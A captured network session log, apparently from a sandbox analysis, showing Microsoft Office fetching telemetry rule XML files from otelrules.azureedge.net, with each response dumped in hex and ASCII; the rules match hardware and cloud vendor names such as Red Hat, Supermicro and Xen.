2024-10-31 08:07:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:21 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1d33856d-201e-000c-0612-2979c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080721Z-17c5cb586f62bgw58esgbu9hgw00000001y0000000006yuk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:21 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:22 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:22 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080722Z-16849878b78g2m84h2v9sta2900000000880000000001xzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:22 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:22 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bf07d5f0-e01e-0020-6ed9-2ade90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080722Z-159b85dff8fq4v8mhC1DFW70kw00000001p0000000009xr8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:22 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:22 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 927ac0b1-901e-0083-7fcc-2abb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080722Z-159b85dff8fq4v8mhC1DFW70kw00000001q0000000007s5r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:22 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:22 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:22 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080722Z-16849878b78hh85qc40uyr8sc800000009eg00000000deep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:22 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:22 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080722Z-15b8d89586flzzksdx5d6q7g1000000004gg000000000bhq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:22 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:23 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080722Z-15b8d89586fqj7k5h9gbd8vs980000000acg0000000092mx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:23 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:23 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 951c16f0-d01e-002b-20ad-2a25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080723Z-17c5cb586f6fqqst87nqkbsx1c00000007pg000000008vvb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:23 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080723Z-16849878b78xblwksrnkakc08w00000008f0000000009wh5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:23 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:23 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:23 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 98e0f543-201e-0033-7555-2bb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080723Z-17c5cb586f6z6tq2xr35mhd5x000000001w0000000004cwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:23 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:23 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: d871491f-101e-0046-2593-2a91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080723Z-159b85dff8fgxq4qhC1DFWxa0n00000001dg00000000bchx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:23 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:23 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080723Z-16849878b78fhxrnedubv5byks00000007hg000000008yds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:23 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:24 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
